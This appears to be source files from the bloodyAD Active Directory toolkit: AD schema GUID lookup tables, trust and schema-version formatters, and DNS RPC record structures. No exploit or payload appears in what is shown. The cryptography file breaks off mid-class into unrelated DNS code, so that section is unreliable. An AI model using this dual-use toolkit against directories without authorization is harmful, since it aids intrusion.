"23998ab5-70f8-4007-a4c1-a84a38311f9a": "userPKCS12", "28630ebb-41d5-11d1-a9c1-0000f80367c1": "User-Principal-Name", "9a9a021f-4a5b-11d1-a9c3-0000f80367c1": "User-Shared-Folder", "9a9a0220-4a5b-11d1-a9c3-0000f80367c1": "User-Shared-Folder-Other", "e16a9db2-403c-11d1-a9c0-0000f80367c1": "User-SMIME-Certificate", "bf9679d7-0de6-11d0-a285-00aa003049e2": "User-Workstations", "bf967a6f-0de6-11d0-a285-00aa003049e2": "USN-Changed", "bf967a70-0de6-11d0-a285-00aa003049e2": "USN-Created", "bf967a71-0de6-11d0-a285-00aa003049e2": "USN-DSA-Last-Obj-Removed", "a8df7498-c5ea-11d1-bbcb-0080c76670c0": "USN-Intersite", "bf967a73-0de6-11d0-a285-00aa003049e2": "USN-Last-Obj-Rem", "167758ad-47f3-11d1-a9c3-0000f80367c1": "USN-Source", "4d2fa380-7f54-11d2-992a-0000f87a57d4": "Valid-Accesses", "281416df-1968-11d0-a28f-00aa003049e2": "Vendor", "bf967a76-0de6-11d0-a285-00aa003049e2": "Version-Number", "7d6c0e9a-7e20-11d0-afd6-00c04fd930c9": "Version-Number-Hi", "7d6c0e9b-7e20-11d0-afd6-00c04fd930c9": "Version-Number-Lo", "1f0075fd-7e40-11d0-afd6-00c04fd930c9": "Vol-Table-GUID", "1f0075fb-7e40-11d0-afd6-00c04fd930c9": "Vol-Table-Idx-GUID", "34aaa217-b699-11d0-afee-0000f80367c1": "Volume-Count", "244b2970-5abd-11d0-afd2-00c04fd930c9": "Wbem-Path", "05308983-7688-11d1-aded-00c04fd8d5cd": "Well-Known-Objects", "bf967a77-0de6-11d0-a285-00aa003049e2": "When-Changed", "bf967a78-0de6-11d0-a285-00aa003049e2": "When-Created", "bf967a79-0de6-11d0-a285-00aa003049e2": "Winsock-Addresses", "bf967a7a-0de6-11d0-a285-00aa003049e2": "WWW-Home-Page", "bf967a7b-0de6-11d0-a285-00aa003049e2": "X121-Address", "d07da11f-8a3d-42b6-b0aa-76c962be719a": "x500uniqueIdentifier", } SCHEMA_CLASSES = { "2628a46a-a6ad-4ae0-b854-2b12d9fe6f9e": "account", "7f561288-5301-11d1-a9c5-0000f80367c1": "ACS-Policy", "2e899b04-2834-11d3-91d4-0000f87a57d4": "ACS-Resource-Limits", "7f561289-5301-11d1-a9c5-0000f80367c1": "ACS-Subnet", "3e74f60f-3e73-11d1-a9c0-0000f80367c1": "Address-Book-Container", "5fd4250a-1262-11d0-a060-00aa006c33ed": "Address-Template", "3fdfee4f-47f4-11d1-a9c3-0000f80367c1": "Application-Entity", "5fd4250b-1262-11d0-a060-00aa006c33ed": "Application-Process", "f780acc1-56f0-11d1-a9c6-0000f80367c1": "Application-Settings", "19195a5c-6da0-11d0-afd3-00c04fd930c9": "Application-Site-Settings", "ddc790ac-af4d-442a-8f0f-a1d4caa7dd92": "Application-Version", "bf967a80-0de6-11d0-a285-00aa003049e2": "Attribute-Schema", "4bcb2477-4bb3-4545-a9fc-fb66e136b435": "bootableDevice", "bf967a81-0de6-11d0-a285-00aa003049e2": "Builtin-Domain", "7d6c0e9d-7e20-11d0-afd6-00c04fd930c9": "Category-Registration", "3fdfee50-47f4-11d1-a9c3-0000f80367c1": "Certification-Authority", "bf967a82-0de6-11d0-a285-00aa003049e2": "Class-Registration", "bf967a83-0de6-11d0-a285-00aa003049e2": "Class-Schema", "bf967a84-0de6-11d0-a285-00aa003049e2": "Class-Store", "bf967a85-0de6-11d0-a285-00aa003049e2": "Com-Connection-Point", "bf967a86-0de6-11d0-a285-00aa003049e2": "Computer", "bf967a87-0de6-11d0-a285-00aa003049e2": "Configuration", "5cb41ecf-0e4c-11d0-a286-00aa003049e2": "Connection-Point", "5cb41ed0-0e4c-11d0-a286-00aa003049e2": "Contact", "bf967a8b-0de6-11d0-a285-00aa003049e2": "Container", "8297931e-86d3-11d0-afda-00c04fd930c9": "Control-Access-Right", "bf967a8c-0de6-11d0-a285-00aa003049e2": "Country", "167758ca-47f3-11d1-a9c3-0000f80367c1": "CRL-Distribution-Point", "bf967a8d-0de6-11d0-a285-00aa003049e2": "Cross-Ref", "ef9e60e0-56f7-11d1-a9c6-0000f80367c1": "Cross-Ref-Container", "bf967a8e-0de6-11d0-a285-00aa003049e2": "Device", "8447f9f2-1027-11d0-a05f-00aa006c33ed": "Dfs-Configuration", "963d2756-48be-11d1-a9c3-0000f80367c1": "DHCP-Class", "e0fa1e8a-9b45-11d0-afdd-00c04fd930c9": "Display-Specifier", "5fd4250c-1262-11d0-a060-00aa006c33ed": "Display-Template", "bf967a8f-0de6-11d0-a285-00aa003049e2": "DMD", "e0fa1e8c-9b45-11d0-afdd-00c04fd930c9": "Dns-Node", "e0fa1e8b-9b45-11d0-afdd-00c04fd930c9": "Dns-Zone", "39bad96d-c2d6-4baf-88ab-7e4207600117": "document", "7a2be07c-302f-4b96-bc90-0795d66885f8": "documentSeries", "19195a5a-6da0-11d0-afd3-00c04fd930c9": "Domain", "19195a5b-6da0-11d0-afd3-00c04fd930c9": "Domain-DNS", "bf967a99-0de6-11d0-a285-00aa003049e2": "Domain-Policy", "8bfd2d3d-efda-4549-852c-f85e137aedc6": "domainRelatedObject", "3fdfee52-47f4-11d1-a9c3-0000f80367c1": "DSA", "09b10f14-6f93-11d2-9905-0000f87a57d4": "DS-UI-Settings", "66d51249-3355-4c1f-b24e-81f252aca23b": "Dynamic-Object", "dd712229-10e4-11d0-a05f-00aa006c33ed": "File-Link-Tracking", "8e4eb2ed-4712-11d0-a1a0-00c04fd930c9": "File-Link-Tracking-Entry", "89e31c12-8530-11d0-afda-00c04fd930c9": "Foreign-Security-Principal", "c498f152-dc6b-474a-9f52-7cdba3d7d351": "friendlyCountry", "8447f9f3-1027-11d0-a05f-00aa006c33ed": "FT-Dfs", "bf967a9c-0de6-11d0-a285-00aa003049e2": "Group", "bf967a9d-0de6-11d0-a285-00aa003049e2": "Group-Of-Names", "0310a911-93a3-4e21-a7a3-55d85ab2c48b": "groupOfUniqueNames", "f30e3bc2-9ff0-11d1-b603-0000f80367c1": "Group-Policy-Container", "a699e529-a637-4b7d-a0fb-5dc466a0b8a7": "ieee802Device", "7bfdcb8a-4807-11d1-a9c3-0000f80367c1": "Index-Server-Catalog", "4828cc14-1437-45bc-9b07-ad6f015e5f28": "inetOrgPerson", "2df90d89-009f-11d2-aa4c-00c04fd7d83a": "Infrastructure-Update", "07383086-91df-11d1-aebc-0000f80367c1": "Intellimirror-Group", "07383085-91df-11d1-aebc-0000f80367c1": "Intellimirror-SCP", "26d97376-6070-11d1-a9c6-0000f80367c1": "Inter-Site-Transport", "26d97375-6070-11d1-a9c6-0000f80367c1": "Inter-Site-Transport-Container", "ab911646-8827-4f95-8780-5a8f008eb68f": "ipHost", "d95836c3-143e-43fb-992a-b057f1ecadf9": "ipNetwork", "9c2dcbd2-fbf0-4dc7-ace0-8356dcd0f013": "ipProtocol", "b40ff825-427a-11d1-a9c2-0000f80367c1": "Ipsec-Base", "b40ff826-427a-11d1-a9c2-0000f80367c1": "Ipsec-Filter", "b40ff828-427a-11d1-a9c2-0000f80367c1": "Ipsec-ISAKMP-Policy", "b40ff827-427a-11d1-a9c2-0000f80367c1": "Ipsec-Negotiation-Policy", "b40ff829-427a-11d1-a9c2-0000f80367c1": "Ipsec-NFA", "b7b13121-b82e-11d0-afee-0000f80367c1": "Ipsec-Policy", "2517fadf-fa97-48ad-9de6-79ac5721f864": "ipService", "bf967a9e-0de6-11d0-a285-00aa003049e2": "Leaf", "1be8f17d-a9ff-11d0-afe2-00c04fd930c9": "Licensing-Site-Settings", "ddac0cf5-af8f-11d0-afeb-00c04fd930c9": "Link-Track-Object-Move-Table", "ddac0cf7-af8f-11d0-afeb-00c04fd930c9": "Link-Track-OMT-Entry", "ddac0cf6-af8f-11d0-afeb-00c04fd930c9": "Link-Track-Vol-Entry", "ddac0cf4-af8f-11d0-afeb-00c04fd930c9": "Link-Track-Volume-Table", "bf967aa0-0de6-11d0-a285-00aa003049e2": "Locality", "52ab8671-5709-11d1-a9c6-0000f80367c1": "Lost-And-Found", "bf967aa1-0de6-11d0-a285-00aa003049e2": "Mail-Recipient", "11b6cc94-48c4-11d1-a9c3-0000f80367c1": "Meeting", "1cb81863-b822-4379-9ea2-5ff7bdc6386d": "ms-net-ieee-80211-GroupPolicy", "99a03a6a-ab19-4446-9350-0cb878ed2d9b": "ms-net-ieee-8023-GroupPolicy", "09f0506a-cd28-11d2-9993-0000f87a57d4": "MS-SQL-OLAPCube", "20af031a-ccef-11d2-9993-0000f87a57d4": "MS-SQL-OLAPDatabase", "0c7e18ea-ccef-11d2-9993-0000f87a57d4": "MS-SQL-OLAPServer", "1d08694a-ccef-11d2-9993-0000f87a57d4": "MS-SQL-SQLDatabase", "17c2f64e-ccef-11d2-9993-0000f87a57d4": "MS-SQL-SQLPublication", "11d43c5c-ccef-11d2-9993-0000f87a57d4": "MS-SQL-SQLRepository", "05f6c878-ccef-11d2-9993-0000f87a57d4": "MS-SQL-SQLServer", "555c21c3-a136-455a-9397-796bbd358e25": "ms-Authz-Central-Access-Policies", "a5679cb0-6f9d-432c-8b75-1e3e834f02aa": "ms-Authz-Central-Access-Policy", "5b4a06dc-251c-4edb-8813-0bdd71327226": "ms-Authz-Central-Access-Rule", "99bb1b7a-606d-4f8b-800e-e15be554ca8d": "ms-Authz-Central-Access-Rules", "c9010e74-4e58-49f7-8a89-5e3e2340fcf8": "ms-COM-Partition", "250464ab-c417-497a-975a-9e0d459a7ca1": "ms-COM-PartitionSet", "25173408-04ca-40e8-865e-3f9ce9bf1bd3": "ms-DFS-Deleted-Link-v2", "7769fb7a-1159-4e96-9ccd-68bc487073eb": "ms-DFS-Link-v2", "da73a085-6e64-4d61-b064-015d04164795": "ms-DFS-Namespace-Anchor", "21cb8628-f3c3-4bbf-bff6-060b2d8f299a": "ms-DFS-Namespace-v2", "e58f972e-64b5-46ef-8d8b-bbc3e1897eab": "ms-DFSR-Connection", "64759b35-d3a1-42e4-b5f1-a3de162109b3": "ms-DFSR-Content", "4937f40d-a6dc-4d48-97ca-06e5fbfd3f16": "ms-DFSR-ContentSet", "7b35dbad-b3ec-486a-aad4-2fec9d6ea6f6": "ms-DFSR-GlobalSettings", "fa85c591-197f-477e-83bd-ea5a43df2239": "ms-DFSR-LocalSettings", "4229c897-c211-437c-a5ae-dbf705b696e5": "ms-DFSR-Member", "1c332fe0-0c2a-4f32-afca-23c5e45a9e77": "ms-DFSR-ReplicationGroup", "e11505d7-92c4-43e7-bf5c-295832ffc896": "ms-DFSR-Subscriber", "67212414-7bcc-4609-87e0-088dad8abdee": "ms-DFSR-Subscription", "04828aa9-6e42-4e80-b962-e2fe00754d17": "ms-DFSR-Topology", "ef2fc3ed-6e18-415b-99e4-3114a8cb124b": "ms-DNS-Server-Settings", "90df3c3e-1854-4455-a5d7-cad40d56657a": "ms-DS-App-Configuration", "9e67d761-e327-4d55-bc95-682f875e2f8e": "ms-DS-App-Data", "cfee1051-5f28-4bae-a863-5d0cc18a8ed1": "ms-DS-Az-Admin-Manager", "ddf8de9b-cba5-4e12-842e-28d8b66f75ec": "ms-DS-Az-Application", "860abe37-9a9b-4fa4-b3d2-b8ace5df9ec5": "ms-DS-Az-Operation", "8213eac9-9d55-44dc-925c-e9a52b927644": "ms-DS-Az-Role", "4feae054-ce55-47bb-860e-5b12063a51de": "ms-DS-Az-Scope", "1ed3a473-9b1b-418a-bfa0-3a37b95a5306": "ms-DS-Az-Task", "89f4a69f-4416-6b49-821d-6e3c4a0ff802": "ms-DS-Bindable-Object", "717532ab-66e9-684d-a62b-8af1e3985e2f": "ms-DS-Bind-Proxy", "c8fca9b1-7d88-bb4f-827a-448927710762": "ms-DS-Claims-Transformation-Policies", "2eeb62b3-1373-fe45-8101-387f1676edc7": "ms-DS-Claims-Transformation-Policy-Type", "81a3857c-5469-4d8f-aae6-c27699762604": "ms-DS-Claim-Type", "b8442f58-c490-4487-8a9d-d80b883271ad": "ms-DS-Claim-Type-Property-Base", "36093235-c715-4821-ab6a-b56fb2805a58": "ms-DS-Claim-Types", "7b8b558a-93a5-4af7-adca-c017e67f1057": "ms-DS-Group-Managed-Service-Account", "ce206244-5827-4a86-ba1c-1c0c386c1b64": "ms-DS-Managed-Service-Account", "44f00041-35af-468b-b20a-6ce8737c580b": "ms-DS-Optional-Feature", "3bcd9db8-f84b-451c-952f-6c52b81f9ec6": "ms-DS-Password-Settings", "5b06b06a-4cf3-44c0-bd16-43bc10a987da": "ms-DS-Password-Settings-Container", "da83fc4f-076f-4aea-b4dc-8f4dab9b5993": "ms-DS-Quota-Container", "de91fc26-bd02-4b52-ae26-795999e96fc7": "ms-DS-Quota-Control", "7a4a4584-b350-478f-acd6-b4b852d82cc0": "ms-DS-Resource-Properties", "5b283d5e-8404-4195-9339-8450188c501a": "ms-DS-Resource-Property", "72e3d47a-b342-4d45-8f56-baff803cabf9": "ms-DS-Resource-Property-List", "d33f5da6-b009-7e48-8268-b2305529e933": ( "ms-DS-Service-Connection-Point-Publication-Service" ), "e3c27fdf-b01d-4f4e-87e7-056eef0eb922": "ms-DS-Value-Type", "d03d6858-06f4-11d2-aa53-00c04fd7d83a": "ms-Exch-Configuration-Container", "ea715d30-8f53-40d0-bd1e-6109186d782c": "ms-FVE-RecoveryInformation", "7b9a2d92-b7eb-4382-9772-c3e0f9baaf94": "ms-ieee-80211-Policy", "1f7c257c-b8a3-4525-82f8-11ccc7bee36e": "ms-Imaging-PostScanProcess", "a0ed2ac1-970c-4777-848e-ec63a0ec44fc": "ms-Imaging-PSPs", "aa02fd41-17e0-4f18-8687-b2239649736b": "ms-Kds-Prov-RootKey", "5ef243a8-2a25-45a6-8b73-08a71ae677ce": "ms-Kds-Prov-ServerConfiguration", "876d6817-35cc-436c-acea-5ef7174dd9be": "MSMQ-Custom-Recipient", "46b27aac-aafa-4ffb-b773-e5bf621ee87b": "MSMQ-Group", "9a0dc344-c100-11d1-bbc5-0080c76670c0": "MSMQ-Configuration", "9a0dc345-c100-11d1-bbc5-0080c76670c0": "MSMQ-Enterprise-Settings", "50776997-3c3d-11d2-90cc-00c04fd91ab1": "MSMQ-Migrated-User", "9a0dc343-c100-11d1-bbc5-0080c76670c0": "MSMQ-Queue", "9a0dc347-c100-11d1-bbc5-0080c76670c0": "MSMQ-Settings", "9a0dc346-c100-11d1-bbc5-0080c76670c0": "MSMQ-Site-Link", "37cfd85c-6719-4ad8-8f9e-8678ba627563": "ms-PKI-Enterprise-Oid", "26ccf238-a08e-4b86-9a82-a8c9ac7ee5cb": "ms-PKI-Key-Recovery-Agent", "1562a632-44b9-4a7e-a2d3-e426c96a3acc": "ms-PKI-Private-Key-Recovery-Agent", "a16f33c7-7fd6-4828-9364-435138fda08d": "ms-Print-ConnectionPolicy", "36297dce-656b-4423-ab65-dabb2770819e": "msSFU-30-Domain-Info", "d6710785-86ff-44b7-85b5-f1f8689522ce": "msSFU-30-Mail-Aliases", "e263192c-2a02-48df-9792-94f2328781a0": "msSFU-30-Net-Id", "e15334a3-0bf0-4427-b672-11f5d84acc92": "msSFU-30-Network-User", "faf733d0-f8eb-4dcf-8d75-f1753af6a50b": "msSFU-30-NIS-Map-Config", "51a0e68c-0dc5-43ca-935d-c1c911bf2ee5": "ms-SPP-Activation-Object", "b72f862b-bb25-4d5d-aa51-62c59bdf90ae": "ms-SPP-Activation-Objects-Container", "ca7b9735-4b2a-4e49-89c3-99025334dc94": "ms-TAPI-Rt-Conference", "53ea1cb5-b704-4df9-818f-5cb4ec86cac1": "ms-TAPI-Rt-Person", "85045b6a-47a6-4243-a7cc-6890701f662c": "ms-TPM-Information-Object", "e027a8bd-6456-45de-90a3-38593877ee74": "ms-TPM-Information-Objects-Container", "50ca5d7d-5c8b-4ef3-b9df-5b66d491e526": "ms-WMI-IntRangeParam", "292f0d9a-cf76-42b0-841f-b650f331df62": "ms-WMI-IntSetParam", "07502414-fdca-4851-b04a-13645b11d226": "ms-WMI-MergeablePolicyTemplate", "55dd81c9-c312-41f9-a84d-c6adbdf1e8e1": "ms-WMI-ObjectEncoding", "e2bc80f1-244a-4d59-acc6-ca5c4f82e6e1": "ms-WMI-PolicyTemplate", "595b2613-4109-4e77-9013-a3bb4ef277c7": "ms-WMI-PolicyType", "45fb5a57-5018-4d0f-9056-997c8c9122d9": "ms-WMI-RangeParam", "6afe8fe2-70bc-4cce-b166-a96f7359c514": "ms-WMI-RealRangeParam", "3c7e6f83-dd0e-481b-a0c2-74cd96ef2a66": "ms-WMI-Rule", "f1e44bdf-8dd3-4235-9c86-f91f31f5b569": "ms-WMI-ShadowObject", "6cc8b2b5-12df-44f6-8307-e74f5cdee369": "ms-WMI-SimplePolicyTemplate", "ab857078-0142-4406-945b-34c9b6b13372": "ms-WMI-Som", "0bc579a2-1da7-4cea-b699-807f3b9d63a4": "ms-WMI-StringSetParam", "d9a799b2-cef3-48b3-b5ad-fb85f8dd3214": "ms-WMI-UintRangeParam", "8f4beb31-4e19-46f5-932e-5fa03c339b1d": "ms-WMI-UintSetParam", "b82ac26b-c6db-4098-92c6-49c18a3336e1": "ms-WMI-UnknownRangeParam", "05630000-3927-4ede-bf27-ca91f275c26f": "ms-WMI-WMIGPO", "7672666c-02c1-4f33-9ecf-f649c1dd9b7c": "nisMap", "72efbf84-6e7b-4a5c-a8db-8a75a7cad254": "nisNetgroup", "904f8a93-4954-4c5f-b1e1-53c097a31e13": "nisObject", "19195a60-6da0-11d0-afd3-00c04fd930c9": "NTDS-Connection", "f0f8ffab-1191-11d0-a060-00aa006c33ed": "NTDS-DSA", "85d16ec1-0791-4bc8-8ab3-70980602ff8c": "NTDS-DSA-RO", "19195a5f-6da0-11d0-afd3-00c04fd930c9": "NTDS-Service", "19195a5d-6da0-11d0-afd3-00c04fd930c9": "NTDS-Site-Settings", "2a132586-9373-11d1-aebc-0000f80367c1": "NTFRS-Member", "5245803a-ca6a-11d0-afff-0000f80367c1": "NTFRS-Replica-Set", "f780acc2-56f0-11d1-a9c6-0000f80367c1": "NTFRS-Settings", "2a132588-9373-11d1-aebc-0000f80367c1": "NTFRS-Subscriber", "2a132587-9373-11d1-aebc-0000f80367c1": "NTFRS-Subscriptions", "cadd1e5e-fefc-4f3f-b5a9-70e994204303": "oncRpc", "bf967aa3-0de6-11d0-a285-00aa003049e2": "Organization", "bf967aa4-0de6-11d0-a285-00aa003049e2": "Organizational-Person", "a8df74bf-c5ea-11d1-bbcb-0080c76670c0": "Organizational-Role", "bf967aa5-0de6-11d0-a285-00aa003049e2": "Organizational-Unit", "bf967aa6-0de6-11d0-a285-00aa003049e2": "Package-Registration", "bf967aa7-0de6-11d0-a285-00aa003049e2": "Person", "b7b13122-b82e-11d0-afee-0000f80367c1": "Physical-Location", "e5209ca2-3bba-11d2-90cc-00c04fd91ab1": "PKI-Certificate-Template", "ee4aa692-3bba-11d2-90cc-00c04fd91ab1": "PKI-Enrollment-Service", "ad44bb41-67d5-4d88-b575-7b20674e76d8": "posixAccount", "2a9350b8-062c-4ed0-9903-dde10d06deba": "posixGroup", "bf967aa8-0de6-11d0-a285-00aa003049e2": "Print-Queue", "83cc7075-cca7-11d0-afff-0000f80367c1": "Query-Policy", "bf967aa9-0de6-11d0-a285-00aa003049e2": "Remote-Mail-Recipient", "2a39c5bd-8960-11d1-aebc-0000f80367c1": "Remote-Storage-Service-Point", "a8df74d6-c5ea-11d1-bbcb-0080c76670c0": "Residential-Person", "b93e3a78-cbae-485e-a07b-5ef4ae505686": "rFC822LocalPart", "6617188d-8f3c-11d0-afda-00c04fd930c9": "RID-Manager", "7bfdcb89-4807-11d1-a9c3-0000f80367c1": "RID-Set", "7860e5d2-c8b0-4cbb-bd45-d9455beb9206": "room", "80212842-4bdc-11d1-a9c4-0000f80367c1": "Rpc-Container", "bf967aac-0de6-11d0-a285-00aa003049e2": "rpc-Entry", "88611bdf-8cf4-11d0-afda-00c04fd930c9": "rpc-Group", "88611be1-8cf4-11d0-afda-00c04fd930c9": "rpc-Profile", "f29653cf-7ad0-11d0-afd6-00c04fd930c9": "rpc-Profile-Element", "88611be0-8cf4-11d0-afda-00c04fd930c9": "rpc-Server", "f29653d0-7ad0-11d0-afd6-00c04fd930c9": "rpc-Server-Element", "2a39c5be-8960-11d1-aebc-0000f80367c1": "RRAS-Administration-Connection-Point", "f39b98ae-938d-11d1-aebd-0000f80367c1": "RRAS-Administration-Dictionary", "bf967a90-0de6-11d0-a285-00aa003049e2": "Sam-Domain", "bf967a91-0de6-11d0-a285-00aa003049e2": "Sam-Domain-Base", "bf967aad-0de6-11d0-a285-00aa003049e2": "Sam-Server", "bf967aae-0de6-11d0-a285-00aa003049e2": "Secret", "bf967aaf-0de6-11d0-a285-00aa003049e2": "Security-Object", "bf967ab0-0de6-11d0-a285-00aa003049e2": "Security-Principal", "bf967a92-0de6-11d0-a285-00aa003049e2": "Server", "f780acc0-56f0-11d1-a9c6-0000f80367c1": "Servers-Container", "b7b13123-b82e-11d0-afee-0000f80367c1": "Service-Administration-Point", "bf967ab1-0de6-11d0-a285-00aa003049e2": "Service-Class", "28630ec1-41d5-11d1-a9c1-0000f80367c1": "Service-Connection-Point", "bf967ab2-0de6-11d0-a285-00aa003049e2": "Service-Instance", "5b6d8467-1a18-4174-b350-9cc6e7b4ac8d": "shadowAccount", "5fe69b0b-e146-4f15-b0ab-c1e5d488e094": "simpleSecurityObject", "bf967ab3-0de6-11d0-a285-00aa003049e2": "Site", "d50c2cde-8951-11d1-aebc-0000f80367c1": "Site-Link", "d50c2cdf-8951-11d1-aebc-0000f80367c1": "Site-Link-Bridge", "7a4117da-cd67-11d0-afff-0000f80367c1": "Sites-Container", "bf967ab5-0de6-11d0-a285-00aa003049e2": "Storage", "b7b13124-b82e-11d0-afee-0000f80367c1": "Subnet", "b7b13125-b82e-11d0-afee-0000f80367c1": "Subnet-Container", "5a8b3261-c38d-11d1-bbc9-0080c76670c0": "SubSchema", "bf967ab7-0de6-11d0-a285-00aa003049e2": "Top", "bf967ab8-0de6-11d0-a285-00aa003049e2": "Trusted-Domain", "281416e2-1968-11d0-a28f-00aa003049e2": "Type-Library", "bf967aba-0de6-11d0-a285-00aa003049e2": "User", "bf967abb-0de6-11d0-a285-00aa003049e2": "Volume", } OBJECT_TYPES = { **VALIDATED_RIGHTS, **CONTROL_ACCESS_RIGHTS, **PROPERTY_SETS, **SCHEMA_ATTRIBUTES, **SCHEMA_CLASSES, } bloodyAD-2.1.7/bloodyAD/formatters/common.py000066400000000000000000000062631473321043600207550ustar00rootroot00000000000000import binascii class DNBinary: """ Object(DN-Binary) - adschema """ def __init__(self, data=None): if not data: return data = data.decode("utf-8").split(":") if len(data) != 4 or data[0] != "B": raise TypeError("can't convert str to DN-Binary") self.count = int(data[1]) self.binary_value = data[2] self.value = binascii.unhexlify(self.binary_value) self.dn = data[3] def fromCanonical(self, value, dn): self.value = value self.dn = dn self.binary_value = binascii.hexlify(value).decode() self.count = len(self.binary_value) def __str__(self): return f"B:{self.count}:{self.binary_value}:{self.dn}" # see https://social.technet.microsoft.com/wiki/contents/articles/37395.active-directory-schema-versions.aspx SCHEMA_VERSION = { "13": "Windows 2000 Server", "30": "Windows Server 2003", "31": "Windows Server 2003 R2", "44": "Windows Server 2008", "47": "Windows Server 2008 R2", "56": "Windows Server 2012", "69": "Windows Server 2012 R2", "87": "Windows Server 2016", "88": "Windows Server 2019/2022", } # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/d7422d35-448a-451a-8846-6a7def0044df?redirectedfrom=MSDN FUNCTIONAL_LEVEL = { "0": "DS_BEHAVIOR_WIN2000", "1": "DS_BEHAVIOR_WIN2003_WITH_MIXED_DOMAINS", "2": "DS_BEHAVIOR_WIN2003", "3": "DS_BEHAVIOR_WIN2008", "4": "DS_BEHAVIOR_WIN2008R2", "5": "DS_BEHAVIOR_WIN2012", "6": "DS_BEHAVIOR_WIN2012R2", "7": "DS_BEHAVIOR_WIN2016", } # [MS-ADTS] - 6.1.1.4 Well-Known Objects WELLKNOWN_GUID = { "AA312825768811D1ADED00C04FD8D5CD": "GUID_COMPUTERS_CONTAINER_W", "18E2EA80684F11D2B9AA00C04F79F805": "GUID_DELETED_OBJECTS_CONTAINER_W", "A361B2FFFFD211D1AA4B00C04FD7D83A": "GUID_DOMAIN_CONTROLLERS_CONTAINER_W", "22B70C67D56E4EFB91E9300FCA3DC1AA": "GUID_FOREIGNSECURITYPRINCIPALS_CONTAINER_W", "2FBAC1870ADE11D297C400C04FD8D5CD": "GUID_INFRASTRUCTURE_CONTAINER_W", "AB8153B7768811D1ADED00C04FD8D5CD": "GUID_LOSTANDFOUND_CONTAINER_W", "F4BE92A4C777485E878E9421D53087DB": "GUID_MICROSOFT_PROGRAM_DATA_CONTAINER_W", "6227F0AF1FC2410D8E3BB10615BB5B0F": "GUID_NTDS_QUOTAS_CONTAINER_W", "09460C08AE1E4A4EA0F64AEE7DAA1E5A": "GUID_PROGRAM_DATA_CONTAINER_W", "AB1D30F3768811D1ADED00C04FD8D5CD": "GUID_SYSTEMS_CONTAINER_W", "A9D1CA15768811D1ADED00C04FD8D5CD": "GUID_USERS_CONTAINER_W", "1EB93889E40C45DF9F0C64D23BBB6237": "GUID_MANAGED_SERVICE_ACCOUNTS_CONTAINER_W", } # [MS-ADTS] 6.1.6.7.12 trustDirection TRUST_DIRECTION = {"DISABLED": 0, "INBOUND": 1, "OUTBOUND": 2, "BIDIRECTIONAL": 3} # [MS-ADTS] 6.1.6.7.15 trustType TRUST_TYPE = {"LOCAL_WINDOWS": 1, "AD": 2, "NON_WINDOWS": 3, "AZURE": 5} # [MS-ADTS] 6.1.6.7.9 trustAttributes TRUST_ATTRIBUTES = { "NON_TRANSITIVE": 0x1, "UPLEVEL_ONLY": 0x2, "QUARANTINED_DOMAIN": 0x4, "FOREST_TRANSITIVE": 0x8, "CROSS_ORGANIZATION": 0x10, "WITHIN_FOREST": 0x20, "TREAT_AS_EXTERNAL": 0x40, "USES_RC4_ENCRYPTION": 0x80, "CROSS_ORGANIZATION_NO_TGT_DELEGATION": 0x200, "CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION": 0x800, "PIM_TRUST": 0x400, } bloodyAD-2.1.7/bloodyAD/formatters/cryptography.py000066400000000000000000000116351473321043600222170ustar00rootroot00000000000000from bloodyAD.formatters.structure import Structure from bloodyAD import md4 import hashlib from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat class BCRYPT_RSAKEY_BLOB(Structure): structure = ( ("Magic", "I"), ("Reserved", "H"), ("nameExchange", ":", DNS_COUNT_NAME)) def toDict(self): return { "Name": self["nameExchange"].formatCanonical(), "Preference": self["wPreference"], } def fromCanonical(self, fqdn, preference): self["wPreference"] = preference record_name = DNS_COUNT_NAME() record_name.fromCanonical(fqdn) self["nameExchange"] = record_name class DNS_RPC_RECORD_SRV(Structure): """ DNS_RPC_RECORD_SRV - [MS-DNSP] section 2.2.2.2.4.18 """ structure = ( ("wPriority", ">H"), ("wWeight", ">H"), ("wPort", ">H"), ("nameTarget", ":", DNS_COUNT_NAME), ) def toDict(self): return { "Target": self["nameTarget"].formatCanonical(), "Port": self["wPort"], "Priority": self["wPriority"], "Weight": self["wWeight"], } def fromCanonical(self, fqdn, port, priority, weight): self["wPriority"] = priority self["wWeight"] = weight self["wPort"] = port record_name = DNS_COUNT_NAME() record_name.fromCanonical(fqdn) self["nameTarget"] = record_name class DNS_RPC_NAME(Structure): """ DNS_RPC_NAME - [MS-DNSP] section 2.2.2.2.1 Used for FQDN in RPC communications and other strings """ structure = (("cchNameLength", "B-dnsName"), ("dnsName", ":")) def formatCanonical(self): return self["dnsName"].decode("utf-8") class DNS_RPC_RECORD_STRING(Structure): """ DNS_RPC_RECORD_STRING - [MS-DNSP] section 2.2.2.2.4.6 Used for TXT records """ structure = (("stringData", ":", DNS_RPC_NAME),) def formatCanonical(self): return self["stringData"].formatCanonical() def fromCanonical(self, canonical): data_container = DNS_RPC_NAME() data_container["dnsName"] = canonical.encode("utf-8") self["stringData"] = data_container class DNS_RPC_RECORD_SOA(Structure): """ DNS_RPC_RECORD_SOA - [MS-DNSP] section 2.2.2.2.4.3 """ structure = ( ("dwSerialNo", ">I"), ("dwRefresh", ">I"), ("dwRetry", ">I"), ("dwExpire", ">I"), ("dwMinimumTtl", ">I"), ("namePrimaryServer", ":", DNS_COUNT_NAME), ("zoneAdminEmail", ":", DNS_COUNT_NAME), ) def toDict(self): return { "SerialNo": self["dwSerialNo"], "Refresh": self["dwRefresh"], "Retry": self["dwRetry"], "Expire": self["dwExpire"], "MinimumTtl": self["dwMinimumTtl"], "PrimaryServer": self["namePrimaryServer"].formatCanonical(), "zoneAdminEmail": self["zoneAdminEmail"].formatCanonical(), } bloodyAD-2.1.7/bloodyAD/formatters/formatters.py000066400000000000000000000135261473321043600216530ustar00rootroot00000000000000from bloodyAD.formatters import ( accesscontrol, common, cryptography, dns, ) import base64 from winacl.dtyp.security_descriptor import SECURITY_DESCRIPTOR def formatAccountControl(userAccountControl): userAccountControl = int(userAccountControl.decode()) return [ key for key, val in accesscontrol.ACCOUNT_FLAGS.items() if userAccountControl & val == val ] def formatTrustDirection(trustDirection): trustDirection = int(trustDirection.decode()) for key, val in common.TRUST_DIRECTION.items(): if trustDirection == val: return key return trustDirection def formatTrustAttributes(trustAttributes): trustAttributes = int(trustAttributes.decode()) return [ key for key, val in common.TRUST_ATTRIBUTES.items() if trustAttributes & val == val ] def formatTrustType(trustType): trustType = int(trustType.decode()) for key, val in common.TRUST_TYPE.items(): if trustType == val: return key return trustType def formatSD(sd_bytes): return 